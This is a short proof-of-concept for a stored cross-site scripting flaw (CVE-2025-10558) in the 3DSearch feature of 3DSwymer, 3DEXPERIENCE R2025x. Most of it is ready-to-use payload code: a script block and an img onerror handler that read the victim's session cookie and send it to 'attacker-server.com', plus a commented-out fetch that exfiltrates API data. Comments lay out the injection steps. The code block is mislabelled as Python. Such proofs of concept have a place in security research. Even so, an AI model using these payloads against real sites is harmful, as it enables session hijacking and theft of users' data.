A stored Cross-site Scripting (XSS) vulnerability affecting 3DSearch in 3DSwymer on Release 3DEXPERIENCE R2025x allows an attacker to execute arbitrary script code in user's browser session.
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10558 Stored XSS PoC for 3DSearch in 3DSwymer -->
<!-- This PoC demonstrates a stored XSS attack via the 3DSearch functionality -->
<!-- Step 1: Attacker logs in with low-privilege account -->
<!-- Step 2: Attacker submits a malicious payload through 3DSearch input field -->
<!-- Malicious payload example (to be injected into search input or related fields): -->
<script>
// Steal session cookie and send to attacker's server
var cookie = document.cookie;
var img = new Image();
img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(cookie);
// Or perform actions on behalf of the victim
// fetch('/api/sensitive-endpoint', { credentials: 'include' })
// .then(r => r.json())
// .then(data => {
// fetch('https://attacker-server.com/exfil', {
// method: 'POST',
// body: JSON.stringify(data)
// });
// });
</script>
<!-- Alternative payload using event handlers -->
<img src=x onerror="fetch('https://attacker-server.com/steal?cookie='+document.cookie)">
<!-- Step 3: Malicious payload is stored on the server -->
<!-- Step 4: When victim views the search results page, payload executes in their browser -->
<!-- Step 5: Attacker receives victim's session data or performs unauthorized actions -->